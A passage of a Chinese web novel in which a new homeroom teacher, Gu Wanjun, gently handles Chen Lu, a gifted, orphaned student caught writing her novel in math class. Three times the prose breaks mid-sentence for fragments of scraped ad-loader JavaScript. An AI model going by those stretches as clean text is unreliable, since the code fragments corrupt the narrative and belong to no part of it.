难道这人识破她不想当课代表的真正原因了? 视线相撞,顾婉君始终看着陈璐,而那双桃花眼里的关切看起来完全出自真心。 或许是因为闻眼前人身上那股子好闻的白茶香闻多了,陈璐有点恍神,她花了两秒钟调整情绪,如实回答: “就是时不时地会犯偏头痛,医生开过药了。” “偏头痛不是小事,你要听医生的话,按时吃药治疗。” “嗯。” “郑薇老师说你是个特别好的课代表,听她那么一说,我还特别期待你能给我当课代表来着。” “……” 顾婉君突然转变话题,陈璐不知道该怎么回答。 没得到回应,顾婉君也不介意,她继续笑着说: “我知道同学们都舍不得郑薇老师,尤其是你,对吗?” “……”陈璐没否认,她不想说谎。 “大家有情绪,目前还没有完全接受我,这点我非常非常理解,你们是郑薇老师教过的学生,这点谁也改变不了,但我希望你们不要因为抵触新老师从而导致耽误你们的学习和成绩,我说明白了吗?” “嗯。” 陈璐点点头,新班任的直接倒是有些出乎她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的意料。 …… 十几秒后,第一节课上课铃准时打响,谈话不得不就此结束。 顾婉君让陈璐回班上课。 办公室里,其他第一节有课的语文老师也拿着教材陆续离开了办公室。 顾婉君教1班和12班的语文,今天一二节课都没课,她拿出一沓月考大榜成绩表,准备分析一下12班近几次月考的成绩。 与此同时,李冰回来了,第一节课同样没课的她过来跟顾婉君搭话。 两人年纪相仿,相处起来更像是朋友,交流方式也更为直接。 “哎,婉君,那小美女还继续给你当课代表吗?” “不当了。” “不当了?”李冰一脸惊讶:“为什么不当了?你不想用她?” “不是,她身体不太好,说想休息。”顾婉君边说边拿出抽屉里的订书机,准备把成绩单钉在一起,这样方便翻看看。 “这样啊,那真是太可惜了。” 李冰轻啧了两声,一脸惋惜: “这孩子之前给薇姐当课代表的时候可勤快了,所有老师都很喜欢她,经常让她帮忙传个话送个卷子什么的,那孩子话不多,但办事效率高,学习成绩还好,那语文卷答得那叫一个漂亮,谁教她谁脸上倍儿有光,之前我们还总调侃薇姐说她捡到宝了呢!” 咔哒。 订书机发出声响,可大概是由于订书器有点问题,第一枚订书钉没钉好。 顾婉君默默拆没钉好的订书钉,一旁的李冰丝毫没有意识到不妥,她接二连三说了一大筐陈璐的优点,以及所有老师怎么怎么喜欢她。 好在后来有其他办公室的老师把李冰叫走商量有关串课的问题,顾婉君的耳根子才得以清净。 眼看着手里这沓成绩单的左上角都快被自己钉烂了,后知后觉的顾婉君抿抿唇,无奈地叹了口气。 她倒是想让陈璐接着给她当课代表,可也得那孩子愿意才行啊。 …… 高二(12)班。 第一节是数学课,数学老师王振德提前五分钟就在讲台上站好准备上课了。 眼见陈璐踩着上课铃尾巴进了班,傅一雯总算是替好友松了口气。 12班的数学老师是个脾气古怪身形精瘦的小老头,他是宁城一中建校时期就在任教学的老教师,现任学校党支部书记,就连校长见到他都得恭恭敬敬的喊他声王书记或者王老师。 这老王头最讨厌上课迟到,不管是什么原因,只要你上课迟到,那这节课就必须拿着书和卷子到班级后面站着听一节课,天王老子来了也没用,之前傅一雯下课去文综办公室送作业查政治卷子,有几次回来晚了,都是喜提站一节课的结果。 看到陈璐回到座位上,傅一雯本想问她新班任找她聊啥了、为啥她比秦浩阳回来的还晚,结果话还没问出口,数学老师就拍了拍讲桌说上课。 …… 二十分钟后,小组讨论,前后桌为一组。 坐在第三、第四排的陈璐和傅一雯是一组,数学老师一说讨论,陈璐就同往常一样拿着数学卷子和那本黑色笔记本上转过身去。 被数学卷子挡住的黑色笔记本上写得密密麻麻,陈璐表情认真,拿着笔在上面勾勾画画,显然,这人前半节数学课压根就没听。 小组讨论的时候,老师都会下地巡查,数学老师也不例外。 眼见老王头走到班级靠门口那侧,正在给数学课代表江蓁蓁讲题,傅一雯这才敢用数学卷挡住嘴,小声询问: “哎,璐璐,咱新班任,就那顾老师,她叫你去都跟你说什么了,她没为难你吧?” “没说什么,也没为难我,就是让我和秦浩阳交接一下课代表工作。” 陈璐如实回答,她眼睛一直盯着那本黑色笔记本,手上写的动作始终没停。 “就这?没了?” “嗯,就这。” “不对啊,那你怎么比秦浩阳回来得晚呢?” “他去取卷子了,所以回来得早。” “你这么一说,秦浩阳回来的时候确实抱着一沓语文卷回来的……” 傅一雯用数学卷刮了刮下巴,接着若有所思道: “不过我还是觉得咱们这个新老师看你的眼神有点不对劲,哎我说,你该不会是因为课代表的事把她给得罪了吧,如果真要是那样,那可就完犊——” 话还没说完,傅一雯一抬头竟看见王振德不知什么时候背着手站在陈璐身后,那双锐利的、冒着火气的眼睛就那么盯着陈璐拿数学卷当掩体、实际上在黑色笔记本上写个不停…… 傅一雯表情一整个僵住,当场石化,心脏好悬没吓得蹦出来! 完了,这下真完犊子了…… 4. 4 4楼,语文办公室。 顾婉君花了一节课把12班每位同学的成绩都了解了个遍。 班级第一江蓁蓁,数学课代表,主科和文综,所有成绩几乎没有短板,就连让大多数文科生最头疼的数学,江蓁蓁每次考试也都在120分以上,只要保持住这个成绩,妥妥清北苗子; 班级第二陈璐,与江蓁蓁全科均衡无短板不同,陈璐的语文和英语成绩尤为突出,单科从没下过130分,文综甚至还比班级第一江蓁蓁高上一截。 可与之形成鲜明对比的是数学,从近几次成绩来看,陈璐数学单科成绩可谓是惨不忍睹,最高一次也就才49分…… 这偏科偏得也太明显了。 看着除了数学成绩之外齐刷刷的高分成绩栏,顾婉君皱了皱眉,她开始怀疑陈璐这孩子是不是压根就不学数学。 …… 下课铃按时打响,办公室里,第二节有课的老师已经开始收拾东西,准备要下楼去所教的班级上课了。 顾婉君今天第三、第四节有课,第二节依旧没课。 正当她犹豫着是先给原12班班任郑薇打电话了解一下陈璐的学习情况,还是直接把陈璐本人叫到办公室来谈谈时,办公室的门突然开了。 看清来人是王振德王书记时,在座的语文老师都不约而同地赶紧停下手里的工作,从座位上站起身来笑着打招呼: “王书记来了。” “嗯,大家该忙什么忙什么,我找顾老师。” 王振德一边说一边气冲冲地直奔靠窗位置。 眼见来者不善,在场其他人都在心里替新来的顾婉君捏了把汗。 当王振德直到走近办公桌时,顾婉君才看见他身后还跟着一个学生,对方后背挺直,表情平静,丝毫没有挨过批评的迹象,这人不是陈璐还是谁? 这是怎么了?数学又考砸了?不对啊,这几天应该都没有数学考试啊。 …… 顾婉君一边大脑飞速运转思索陈璐可能犯了什么错惹数学老师生气,一边赶忙起身,语气恭敬地询问: “王老师,您来找我是有什么事吗?” “顾老师,你班这个叫陈璐的同学上我的数学课写小说,我抓到她不是一次两次了,你自己看!” “……” 顾婉君还没来得及开口,一本黑色笔记本被猛拍在桌上,发出一声闷响。 顾婉君瞟了两眼,上面笔迹行云流水,密密麻麻,写得净是些小说的大纲人设细纲之类的。 王振德拍着笔记本,气得脸色铁青,头上血管猛跳,两只眼睛快要瞪出来了,声如洪钟的批评声似乎把办公室的玻璃窗都震得嗡嗡作响: “这事不是第一次了,以前郑薇老师教这个班的时候,我就抓了陈璐好几次,谁知道她屡教不改,刚才我让小组讨论,她不讨论,就在那写这些有的没的,让我抓了个正着,我都想直接把这破烂玩意儿给撕了!我说陈璐,你数学考好了是吧?你考那两个分,我把答题卡扔地上踩两脚都比你分高,你是怎么有脸在我的课上还敢不务正业的,啊?!” 王振德发火不是一般的吓人,虽然现在是在管教学生,可在场所有老师也被震得不敢说话,甚至连大气都不敢喘。 而作为“惯犯”当事人,数学老师的呵斥和批评对陈璐来说就好比家常便饭,她挺直后背,表情几乎没有任何变化。 可顾婉君却是第一次经历这种场面。 瞥了一眼办公桌旁似乎没有任何情绪波动的陈璐,顾婉君赶忙把身旁的椅子挪到王振德旁边,好声好气地安抚道: “王老师,您消消气,要不您先坐——” “我不坐!顾老师,今天这个事必须有个交代!要不就从今天开始,陈璐不许再上我的数学课,要不就把陈璐的家长叫来,我倒要问问她家长,她家这孩子到底能不能上我的课!能上就上,不能上就让家长来陪读!” “……” 话说到这个份上,王振德气得直接要让班任找学生家长,这种事竟然让第一天当班任的顾婉君赶上了。 一旁的其他语文老师一边在心里感慨顾婉君怎么这么倒霉,热心肠的李冰悄悄给顾婉君递了个眼色,示意她‘王书记不好惹,既然对方提出找家长,那就赶紧叫这孩子的家长来吧,否则恐怕这事没法收场了’。 其他老师投来的眼神示意也几乎和李冰是一个意思,对于同事们的好意,顾婉君心领了。 可她有自己的处理方式。 …… “是这样的王老师,郑薇老师休产假了,我也是今天刚来,对于很多情况还不了解,学生家长的手机号目前我手里没有。” 顾婉君语气诚恳,话音一落,听到身为班任竟然还没有家长的联系方式,王振德的眉头直接拧成了一个死疙瘩,没等他发火,顾婉君赶忙先发制人道: “我知道您之所以这么生气是因为恨铁不成钢,陈璐这孩子是个好苗子,只有数学是短板,尽我们所能让孩子能考个好大学,这是我们这些当老师的共同目标,您是看在眼里急在心里,对吗?” 顾婉君动之以情晓之以理,这番话极为精准地说中了王振德的心里——身为人师,大家都希望学生能考个好大学,他是真的恨铁不成钢啊。 眼见王振德火气好像消了一些,态度好像也没有之前那么强硬了,顾婉君适时提出中和的解决方法: “王老师,您看这样行不行,我一会先跟陈璐本人谈谈,毕竟我是她的班主任,必须要了解一下学生到底是什么情况,之后我再跟郑薇老师要一下她家长的电话号码,我会跟她家长如实反映一下学生的情况,您放心,事关到孩子的学习和未来,我一定严肃处理,您时间宝贵,不能跟我们在这耗着,您先回去忙您的,到时候我一定给您一个满意的答复,您看行吗?” “……” 顾婉君语气委婉,把话说得几乎是滴水不漏。 先前拧成一个疙瘩的眉头舒展开了不少,王振德黑着脸默认同意了顾婉君的解决方法。 临走前,小老头还瞪了陈璐一眼,并气哼哼地说了句刚才数学课他一生气让陈璐在走廊站了后半堂课,要是陈璐有没听着的、不会的数学题就直接去书记办公室问他,别留着那张嘴只知道吃。 …… 王振德走后,语文办公室所有人都松了口气。 李冰被吓得直拍胸口,其余几个老师也一直心有余悸地感慨说现在的学生都是怎么想的,本来上课写小说就不对,又是怎么敢在王书记的课上明知故犯的。 陈璐低着头没说话,腰背始终挺的直直的。 …… 上课铃打响,有课的老师都拿着东西下楼去上课了。 顾婉君看了一眼贴在书架上的课程表,12班这节课是英语课。 “你先回去上课。” “……” 话音一落,陈璐有些茫然的抬起头,一脸不可置信地看着顾婉君,显然,她怀疑自己听错了。 接下来不应该是挨骂、思想教育、找家长、警告、惩罚等等一条龙服务吗,怎么…… 这个新班任到底是个什么样的人? …… 不光是陈璐这个当事人震惊,在场其他没课的老师在听到顾婉君让陈璐先回去上课时也都是一脸不可思议。 她们正想着如果顾婉君为了给王书记一个满意的结果从而真的严肃处理陈璐的话,她们要不要冒着得罪王书记的风险帮陈璐说说情,毕竟在她们眼里陈璐是个好孩子。 结果顾婉君竟然没有谈话,也没有急着找家长,而是说让陈璐先回班上课?? …… 眼见陈璐仍站在办公桌旁一动不动,顾婉君对上那双满是不解的眼睛,语气依旧十分平静温和: “还傻愣着干嘛,上课铃马上就打完了,你要迟到了。” “老师,我……” 陈璐张张嘴,对上那双明亮温柔的桃花眼,她不知道自己应该说点什么。 “你的事我会严肃处理,但不会占用上课时间,你先去上课,事情解决之前,你的笔记本我暂时代为保管,放心,它很安全,事情解决之后,我会原封不动地还给你。” 这个“它”指的就是那本记录着小说手稿的黑色笔记本,在陈璐一脸震惊的注视下,顾婉君把那本笔记本锁进了办公桌的抽屉里。 …… 陈璐走后,顾婉君始终悬着的心才算放了下来,重新坐下时,不知是被漏风的窗子冻的,还是被这从未经历过的场面吓的,她拿手机的手竟有些颤抖。 办公室没有外人,只有几个关系比较好的语文老师。 李冰是个热心肠,大学一毕业就来宁城一中当老师了,眼见顾婉君没有第一时间谈话找家长,而是让陈璐先回去上课,还说什么事情解决之后会把笔记本还给陈璐,这每一点无疑都是踩在王书记的雷点上蹦迪。 李冰好心提醒顾婉君说这件事可一定得谨慎处理,否则非得把这个王书记得罪了不可,其余几位语文老师也连连附和。 知道大家都是出自好意,顾婉君微笑道谢,并表态说自己一定会谨慎处理。 打开手机通讯录,12班每一位学生家长的联系方式整整齐齐地排列其中。 事实上,顾婉君一早就完成了这项班任该做的准备工作。 然而刚才那种情况下,她不得不谎称自己没有家长的联系方式,不到万不得已的情况,她个人完全不主张给家长打电话。 无论是学生还是家长,每个人都是单独的个体,自己做的事应该自己负责,找家长来能解决什么问题呢,顶多就是治标不治本。 更何况,她还没有完全了解清楚陈璐这件事到底是什么情况。 …… 思索片刻,顾婉君没有点进‘陈璐家长’的号码页面,而是拨通了原班主任郑薇的电话。 电话响了两声,很快就被接起来了。 “喂,是郑薇老师吗?对,我是顾婉君,您现在有时间吗?有的是吧,好,我现在想跟您了解一下咱们班陈璐的个人情况,您看您方便吗?” “……” …… —— 高二(12)班。 陈璐回班时已经上课两三分钟了,她前脚刚进门,后脚又响起了傅一雯的敲门声。 不用说,傅一雯如果迟到十次,那其中的九次绝对是去文综办公室看她的孙老师去了。 英语老师不像数学老师那样看重课堂迟到问题,更何况陈璐在英语老师眼里可是回回都能考高分的好学生。 而相比较之下,英语只考36分的傅一雯就惨了,喜提手抄作文五篇的迟到惩罚之后,英语老师才放她回座。 …… 回到座位上之后,陈璐还在回想刚才在语文办公室发生的一切,她不明白刚才在办公室的时候顾婉君为什么那么做,这个新班任好像跟教过她的其他老师都不一样。 在她作为学生确实犯了错、并且位高权重的数学老师极其生气的情况下,顾婉君没有用冷冰冰的话呵斥批评她,没第一时间非要找她家长,甚至还说事情解决之后会把笔记本还给她,真的会有这种老师吗? 陈璐光是想想就觉得是天方夜谭。 难道就因为早上她在教学楼门口扶了顾婉君一把? 可应该也不会做到这种程度吧。 陈璐想破脑袋也想不明白。 …… 英语小组讨论时间。 陈璐刚转过来,傅一雯就迫不及待问她被叫到办公室之后发生了什么,英语罚写都顾不上写了。 而一直担心陈璐的江蓁蓁也为数不多地说了谎,她借着问英语题的由头悄悄混到了陈璐这组。 在两个好友的追问之下,陈璐大致把刚才的经过说了一遍,其中也包括早上公交车上和教学楼门 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 前的两次偶遇。 整件事捋下来,傅一雯和江蓁蓁听得一愣一愣的。 傅一雯咂巴咂巴嘴,不可置信的表情一整个写在脸上: “不是我说,你跟这新老师你俩也忒有缘分了吧,像拍电影似的……这,这算是好事吗?” 一旁的江蓁蓁同样若有所思道:“嗯……确实是好巧啊……” 傅一雯啪嗒啪嗒不停地按笔玩,摇头晃脑地接着分析:“这新班任还说什么之后要把笔记本还给你,那没收上去的东西毕业之前还能还回来?哎我说,她不会是在那儿画大饼呢吧?” “应该不会吧,顾老师没必要这么做啊。”江蓁蓁小声回应,她心虚的小眼神时不时地扫视着四周,生怕英语老师突然出现。 “知人知面不知心,谁知道这新老师玩得什么套路啊。” 傅一雯越分析越来劲,眼见当事人始终没说话,她轻啧两声,用中性笔戳了戳陈璐的肩膀: “啧,我俩在这这讨论你的事呢,你愣什么神呢?” “有什么办法能知道有关新班任的更多信息吗?” “……” 话音一落,傅一雯江蓁蓁下意识对视一眼,两脸震惊。 嘿,还真是太阳打西边出来了,这么多年好朋友,陈璐什么时候关心过这种事啊。 不过话说回来,这新老师如此不按套路出牌,确实也让人忍不住好奇。 …… 眼见陈璐完全没有开玩笑的样子,傅一雯语气里也多了几分认真: “这好办啊,我把咱班‘小灵通’刘子萱给你喊来,她肯定知道。” ‘小灵通’,顾名思义,就是和食堂阿姨、门卫大爷以及各个学年“有点名气”的同学都认识、小道消息极其灵通的同学。 …… 半分钟后,刘子萱被傅一雯以讨论英语阅读的由头拽过来了,陈璐从她那儿多多少少了解到了有关新班任顾婉君的信息。 顾婉君,28岁,据说是北大本硕连读毕业的高材生,原是高一(6)班的语文老师,大概才任教半个学期,就直接把语文平均分倒数第三的6班带进了全学年前三的位置,是高一学年小有名气的风云老师。 不过这些消息也是刘子萱听同一个补课班的高一学生说的,是真是假不知道,反正她就知道这些。 …… 听完之后,陈璐三人表情各异,谁都没说话。 十几秒后,傅一雯是最先发出疑问的:“不是,长得那么好看,学历又那么牛,这老师为啥那么想不开来咱们小县城啊?” “……” 傅一雯的灵魂提问问出了在场其他人心里的疑问,毕竟为了能有更好的发展,大部分当地人都离开宁城了,如果刘子萱的小道消息准确,那像顾婉君这样难得的人才,不是应该去大城市闯荡打拼吗,为什么要来他们这个小县城呢? 这个问题的答案除了顾婉君本人,谁都不知道。 而难解释的问题越多,陈璐对这个新班任就越好奇。 …… 几人东扯西聊,直到英语老师巡视到她们附近时,感受到风吹草动的傅一雯立马咳嗽示意,之后迅速把英语报纸直接怼在陈璐面前,拿出熟稔的演技,假模假样道: “璐璐,你再给我讲一遍这道题呗,刚才你说的那个语法我没听懂,什么叫过去完成进行时啊?” “……” —— 4楼,语文办公室。 挂断电话后,顾婉君坐在办公桌前,脑海里不断回想着刚刚电话里郑薇说的话—— “是,陈璐上课写小说的事一直都有,不过……唉,这种事你只能和她本人聊,不要对她家长抱有太大希望,因为你根本联系不上她的家长。” “陈璐是单亲家庭,打生下来就没见过父亲,她随母亲姓。” “据说陈璐的母亲常年在国外做生意,连陈璐都没有见过她母亲真人,陈璐是跟着姥姥长大的。” “初二那年,陈璐的姥姥突犯心脏病,过世了,葬礼丧仪都是陈璐跑前跑后忙下来的,从那之后,陈璐一直一个人生活。” “之前有好几次家长会和班任家访,我试过联系陈璐的母亲,可始终都联系不上,除了远在国外联系不上的母亲和过世的姥姥之外,陈璐大概没有别的亲人了。” “这些个人情况都是我旁敲侧击地从傅一雯和江蓁蓁那儿问来的,她们两个跟陈璐从小就认识,也算是知根知底。” “关于陈璐的经济来源,或者说她一个人无依无靠的靠什么生活,这个问题我也问过傅一雯她们,傅一雯和江蓁蓁的父母曾多次提出说要资助陈璐,可都被陈璐拒绝了,那孩子从几年前就开始靠写书赚稿费来养活自己了。” “发现这个问题之后,我没收过几次陈璐的小说,并跟她说让她好好上学,钱的事不用担心,我们这些大人来想办法,可这孩子性子太拗太要强了,我们老师凑了钱给她,她又全数退回来了,我们是既心疼她,却又拿她没办法。” “顾老师,陈璐这孩子少言寡语,个性又要强,有什么事都憋在心里自己扛,她真的是个好孩子,如果她有什么做的不好的地方,请你多担待,这孩子不容易。” “……” 两道细眉渐渐拧在一起,顾婉君揉了揉额角,觉得胸口好像堵了一团什么东西,酸涩胀痛,甚至有些喘不过气。 单亲家庭,母亲不在身边,小小年纪失去了唯一的至亲,写书赚钱养活自己……短短几句话,勾勒出了陈璐惨淡生活的大致轮廓,而这孩子只有18岁。 沉默良久,似乎是想到了什么,顾婉君用钥匙打开了上锁的抽屉,几秒后,那本黑色笔记本端端正正地放在顾婉君面前的桌上。 翻开第一页,《囚笼》两个俊逸娟秀的大字映入顾婉君的眼帘。 都说文字可以映射出一个人的内心世界,顾婉君想要了解18岁的陈璐。 5. 5 12班第四节课是语文课。 第三节课课间,刚给1班上完语文课的顾婉君回到12班,班级同学几乎都趴在桌上补觉。 顾婉君把书放在讲台上,动作尽量轻,扫视班级一圈后,她的目光有意在第三排靠窗位置多停了两秒。 陈璐背对着过道,正趴在桌上休息。 看着那人恨不得薄成一片的后背,先前郑薇说的话在耳畔不停回响,顾婉君收回视线,下意识长呼一口气。 这孩子太瘦了。 …… 第四节课上课铃打响。 哪怕眼睛还没睁开,可陈璐却条件反射地坐直了身体,她一只手揉着眼睛,另一只手习惯性地伸到背后敲了敲坐在后面的傅一雯的桌子,叫对方起来上课。 陈璐之所以养成这个习惯,还是因为傅一雯睡觉实在太死。 有一次傅一雯课间睡着了,结果一直到上课也没醒来,地理课过去了半堂课,地理老师点名傅一雯起来回答问题,睡懵了的人梦中惊醒,咣当一声站起来,迷迷糊糊地问了一句‘是放学了吗,老师再见’,把地理老师气得罚这人站了一个礼拜的地理课。 …… —— 语文课上课。 陈璐第一次切身体会到了顾婉君的教学方式确实和其他语文老师不一样。 至少在宁城这个小县城,陈璐没有见过像顾婉君这样讲课的老师。 在讲正课的同时,顾婉君会适当地插入讲述一些与其相关的故事或人物,这些故事和人物大多都出自各类书籍,一旦被勾起了兴趣,势必会抓心挠肝地想要听下去。 果不其然,一堂课下来,同学们对顾婉君绘声绘色的故事格外感兴趣,很少有睡觉的,大家纷纷央求着顾婉君多讲一些。 就好比今天这堂课上,顾婉君插入讲述的书叫《摆渡人》。 这本书陈璐初三的时候看过,当时看的时候她感触颇深,然而当今天听到顾婉君绘声绘色地讲述起这个故事时,陈璐莫名又有一种新的、更加震撼的感受。 难道这就是听书和看书的区别吗? 听着顾婉君温柔平和的声线,陈璐觉得自己回去应该把《摆渡人》那本书找出来再看一遍。 …… 距离下课还有大约两分钟的时间,顾婉君合上书不讲了。 “还有两分钟下课了,后半段古文下节课再讲,大家消化一下刚才讲的内容吧,有不明白的地方可以问我。” “老师!” 有位女同学举手示意,顾婉君以为她有问题,刚要走过去,结果对方似是询问似是央求道: “老师,还有两分钟下课,你再给我们讲讲刚才你讲的那本叫《摆渡人》的书呗,迪伦真的死了吗?崔斯坦最后怎么样了?迪伦回去找他了吗?他俩获救了吗?” 此话一出,旁边正有此意的同学立马附和道: “是啊老师,故事听一半可太难受了。” “是啊,老师,反正也不讲古文了,你就讲讲呗!” “老师讲讲吧,大家都等着听呢!” “……” 就着听书这个话题,同学们你一句我一句七嘴八舌地议论起来,大家都央求着顾婉君把《摆渡人》这本书讲完。 眼见大家对阅读热情高涨,顾婉君觉得这是好事,不过她没有接着讲下去,而是把手指竖在嘴边,示意大家安静,之后故意卖关子道: “咱们班有没有同学看过《摆渡人》这本书的,可以举手示意一下。” “……” 此话一出,同学们你看看我我看看你,大家脸上就差没明写上“没看过”三个字了。 上高中之后,课内书都快没时间看了,更别提课外书了。 眼见没有举手的同学,似乎是想到了什么,顾婉君下意识把目光投向靠窗第三排的位置。 突如其来的四目相对,毫无准备的陈璐眼底闪过一抹诧异,喉咙莫名变得干涩起来。 这老师看她做什么? 难道她知道自己看过这本书? 可看过又怎么样,难不成还要提问吗? …… 陈璐大脑飞速运转,但她始终都没有避开顾婉君看过来的视线,最后反倒是顾婉君大概顾忌着下课时间,率先移开了目光。 眼见没有人举手示意,顾婉君抬腕看了一眼时间,语气平和:“没看过没关系,大家想听故事的话我可以给大家讲,不过前提是要看大家的课堂表现。” 话音一落,下课铃适时响起,顾婉君稍稍歪了一下头,唇角微微翘起一个好看的弧度: “今天是没时间了,故事的后半部分我们下节语文课有时间再讲,就当留个悬念。” 说完,顾婉君将目光投向靠窗第三排的位置,语气平和:“陈璐,你跟我去趟办公室。” …… —— 中午放学前的最后一个课间,走廊里的氛围相对来说比较活跃。 12班在一楼,语文办公室在四楼,穿过走廊到上楼梯这段路,陈璐始终跟在顾婉君身后。 不用说,顾婉君叫她去办公室多半应该是为了说数学课上写小说的事。 毕竟事情总要解决。 …… 两人走到二楼楼梯拐角时,像是想到了什么,顾婉君放慢脚步,转过头轻声发问: “你看过那本书吗?” “……” 这一问把陈璐飘远的思绪直接抓了回来,回过神来的人稍一抬头,刚好对上眼前那双温润好看的桃花眸。 一股熟悉好闻的白茶香味若隐若现,陈璐感觉自己一呼一吸之间都是顾婉君身上的味道。 这老师到底想干什么?为什么总揪着她一个人问? …… 视线交汇,眼见陈璐没回答,以为这人没听清,顾婉君弯了弯唇角,又重复了一遍自己的问题: “我课上讲的那本《摆渡人》,你之前看过吗?” “看过。”反应过来的陈璐实话实说,她不喜欢说谎。 “你喜欢那本书吗?” “还行。” “你平常都看什么类型的书?” “……” 话题走向越来越超出陈璐的预料,迟疑两秒后,她简单回答了一句:“什么类型都看。” “那你最喜欢看哪种类型呢?” 顾婉君继续深入话题,陈璐逃不开,只能继续如实回答: “悬疑推理。” “我也喜欢推理小说,你喜欢社会派还是本格派?” “社会派。” “那我们喜好相同呢,我也喜欢社会派推理。” “……” 话题说到这,陈璐没有继续接话。 她强烈预感到顾婉君很有可能看了那本写着自己小说手稿的黑色笔记本上,所以对方才会打着聊天的幌子跟她说这些。 一想到这些话很有可能就是为了一会准备开展长篇大论的谈话教育做铺垫,陈璐抿紧唇瓣,心里顿时充斥着一股子强烈的失望和抵触。 原来这个新老师跟其他所有老师都一样。 只不过是换了一种自认为学生更能接受的方式来教育学生罢了。 虽然知道自己在数学课上写小说是不对的,作为班主任老师,顾婉君教育她自己无可厚非。 可有某几个瞬间,陈璐还是打心底里渴望着顾婉君能和别的老师不一样。 …… 陈璐思绪翻飞,可表面上却没表现出来丝毫,一旁的顾婉君不知道这人心里的弯弯绕,她一边上楼,一边继续刚才的话题: “社会派推理的话,你喜欢谁的作品?” “老师喜欢谁的作品?” 陈璐不答反问,这一举动放在她身上实属罕见。 在陈璐看来,既然顾婉君不是真心想聊有关推理小说的话题,那对方说什么喜欢社会派推理也有可能是随口胡诌的,这一切只是在为了一会的批评教育做铺垫,自己现在把问题反问回去,估计顾婉君只会敷衍地说一些名气大的作品和作者吧。 …… 陈璐的反问打了顾婉君一个措手不及,而她稍一思索,马上就猜到了陈璐反问她的原因。 少女那双清澈明亮的月牙眼中闪动着的复杂情绪,似乎正好验证了之前郑薇说的话——陈璐这孩子心细如发,又很有自己的个性。 这会儿功夫,顾婉君倒是切身体验了一把。 …… 被反问的顾婉君没有生气,反倒觉得这小孩有意思,她认真思考了一会,之后如实回答: “社会派推理的话,我最喜欢叶真中显的《绝叫》和《死亡护理师》,单论作者的话我最喜欢阿加莎克里斯蒂、夏树静子和连城三纪彦。” “……” 话音一落,明澈干净的月牙眼里浮上一抹不可思议,这下轮到陈璐不说话了。 本来以为顾婉君会敷衍地随便说几个名气大的作品或作者,结果出乎陈璐意料的是,顾婉君并非如此。 按理来说,北大本硕连读的才女外加语文老师双重身份buff的叠加下,顾婉君知道一些冷门作家和作品也不是不可能,可连小说都写不出来的巧合和缘分是—— 顾婉君说的这些竟然和陈璐的喜好完全相同! 推理作家千千万,喜好完全相同是什么概念…… 陈璐喜欢哪个作家,正确答案连跟她最亲近的江蓁蓁和傅一雯都不知道,更不可能有别人知道了。 从今早的连续偶遇,到现在的阅读喜好完全相同,真的会有这么巧的事吗? …… 似乎是陈璐眼底的震惊和不可置信过于明显,顾婉君挑了挑眉,她用手里的语文书碰了碰身旁人的胳膊,半是认真半是调侃道: “怎么这个表情,难不成你以为我跟你说我喜欢社会派推理是我随口胡诌的?” “……” 浓密的眼睫微微颤动,陈璐不自觉瞪圆了眼睛。 这老师怎么连她想什么都知道? 太可怕了。 …… —— 4楼,语文办公室。 陈璐跟着顾婉君进到办公室,脑子里还在回想着刚才两人的对话。 其他语文老师看到陈璐跟着顾婉君来到办公室,大家都心知肚明顾婉君应该是要解决数学课上写小说那件事了,哪怕老师们手上都有工作要做,可大家的眼睛和耳朵还是时不时地留意着顾婉君那边的动静。 回到自己的办公桌前,顾婉君把教材放在桌上,用钥匙打开抽屉,拿出那本没收上来的黑色笔记本。 对于笔记本里的小说内容,顾婉君花了一节课的时间通读完了。 虽然之前读过很多文学作品,可她还是被陈璐的文笔和构建的文章格局所惊艳,甚至产生了一种‘这孩子竟然能写出来如此有灵气的文字、简直就是为了写作而生’的感觉。 …… 对上陈璐平静镇定的目光,顾婉君把笔记本放在桌上,开门见山,语气真挚道: “第二节课我没课,把你的小说手稿读完了,写得不错。” “……” 话音一落,冷静的表情出现一丝裂痕,陈璐定定地看着顾婉君,眼睛里写满了不解和怀疑。 现在是讨论这个的时候吗?作为班主任老师,顾婉君不是应该批评教育她上课写小说不对吗? 陈璐眨了眨眼睛,她甚至怀疑是不是自己出现了幻听。 …… 像是没有察觉到陈璐震惊不解的情绪一样,视线交汇,顾婉君环抱双臂,半倚着办公桌,自顾自地继续自己的话题: “不过呢,作为社会派推理小说爱好者,我想给你这篇新小说一点建议,当然,不是那种写作指导,只是一点点个人看法,你想听听吗?” “老师。” 陈璐开口打断了眼前人的话,她想不明白顾婉君的意图,索性就主动进入正题: “老师,你把我叫到办公室来,应该是为了数学课上写小说的事吧?” “嗯,是啊,现在不是正说着呢吗?”顾婉君点点头,没有否认。 “现在?可是你不是应该——” 话说到一半,陈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 璐抿了抿唇,欲言又止。 似乎是猜到了这人想说什么,顾婉君弯了弯唇角,微笑着接过话茬:“应该什么?应该批评你?” 沉默两秒,陈璐点头,声音轻到如果不仔细听的话完全听不见:“嗯。” “所以你也知道在数学课上写小说是不对的,对吗?” 顾婉君语气是一如既往的温柔平和,她身上好像有那种就算天塌下来也会被她轻松接住的从容和松弛。 话音一落,陈璐垂下眼眸,下意识盯着自己鞋尖儿,不说话了。 “我问过别的老师了,你只在数学课上写小说。” “……嗯。” “为什么?” “因为我听不懂数学,不想浪费时间。” 对于这个问题,陈璐回答倒是直接,从数学单科成绩上也确实能看出来,她似乎确实不擅长数学。 然而顾婉君却觉得另有隐情,她敛起唇边的笑意,单手撑着桌边,用只有两个人能听见的声音,试探着询问: “你是学不懂数学,还是不想学数学呢?” “……” “我看过你的各科成绩,你是个聪明的孩子,如果你想学,哪怕学不好,数学也不会只考49分,对吗?” “……”陈璐低着头,没回答。 或者说,她是不知道该怎么回答,因为从来没有人跟她聊过这些。 “你为什么不想学数学呢?是不喜欢这个学科吗?还是说有别的原因?比如……不喜欢教你数学的老师?” “……” 陈璐还是没说话,可当顾婉君说完那一刻,年轻女孩那张苍白如纸的脸上顿时浮现出一抹复杂的神情。 以前的老师看到她的数学成绩时,几乎都会苦口婆心地教育她说—— “陈璐啊,数学可是主科,150分呢,你得好好学数学啊!” “偏科这么严重可不行,这样就算你语文成绩再高,也上不了好大学啊!” “明明是个聪明孩子,为什么就不能在数学上用点心呢?” “……” 